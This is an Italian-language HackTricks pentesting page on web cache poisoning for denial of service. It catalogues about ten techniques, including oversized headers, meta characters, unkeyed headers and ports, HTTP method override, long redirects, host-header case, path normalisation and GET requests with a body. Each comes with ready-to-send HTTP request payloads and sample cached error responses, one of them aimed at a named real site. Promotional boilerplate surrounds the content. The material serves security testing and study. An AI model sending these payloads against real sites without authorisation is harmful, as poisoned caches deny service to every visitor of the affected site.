6.5 KiB
Cache Poisoning to DoS
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
{% hint style="danger" %} In questa pagina puoi trovare diverse variazioni da provare per far sì che il server web risponda con errori alle richieste che sono valide per i server cache {% endhint %}
- Dimensione Eccessiva dell'Intestazione HTTP (HHO)
Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma minore di quella supportata dal server cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- Carattere Meta HTTP (HMC) e valori inaspettati
Invia un'intestazione che contenga alcuni caratteri meta dannosi come \n
e \r
. Perché l'attacco funzioni, devi prima aggirare la cache.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Un'intestazione configurata male potrebbe essere semplicemente \:
come intestazione.
Questo potrebbe funzionare anche se vengono inviati valori inaspettati, come un Content-Type inaspettato:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Intestazione non chiave
Alcuni siti web restituiranno un codice di stato di errore se vedono alcune intestazioni specifiche nella richiesta come con l'intestazione X-Amz-Website-Location-Redirect: someThing:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- Attacco di Override del Metodo HTTP (HMO)
Se il server supporta la modifica del metodo HTTP con intestazioni come X-HTTP-Method-Override
, X-HTTP-Method
o X-Method-Override
. È possibile richiedere una pagina valida modificando il metodo in modo che il server non lo supporti e restituisca una risposta errata che viene memorizzata nella cache:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Porta non chiave
Se la porta nell'intestazione Host viene riflessa nella risposta e non è inclusa nella chiave della cache, è possibile ridirigerla verso una porta non utilizzata:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Come nell'esempio seguente, x non viene memorizzato nella cache, quindi un attaccante potrebbe abusare del comportamento di risposta del reindirizzamento per far sì che il reindirizzamento invii un URL così grande da restituire un errore. Quindi, le persone che cercano di accedere all'URL senza la chiave x non memorizzata nella cache riceveranno la risposta di errore:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalizzazione del caso dell'intestazione host
L'intestazione host dovrebbe essere case-insensitive, ma alcuni siti web si aspettano che sia in minuscolo restituendo un errore se non lo è:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalizzazione del percorso
Alcune pagine restituiranno codici di errore inviando dati URLencode nel percorso, tuttavia, il server cache decodificherà l'URL del percorso e memorizzerà la risposta per il percorso decodificato:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Alcuni server di cache, come Cloudflare, o server web, bloccano le richieste GET con un corpo, quindi questo potrebbe essere abusato per memorizzare una risposta non valida:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Riferimenti
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e ai HackTricks Cloud repos di Github.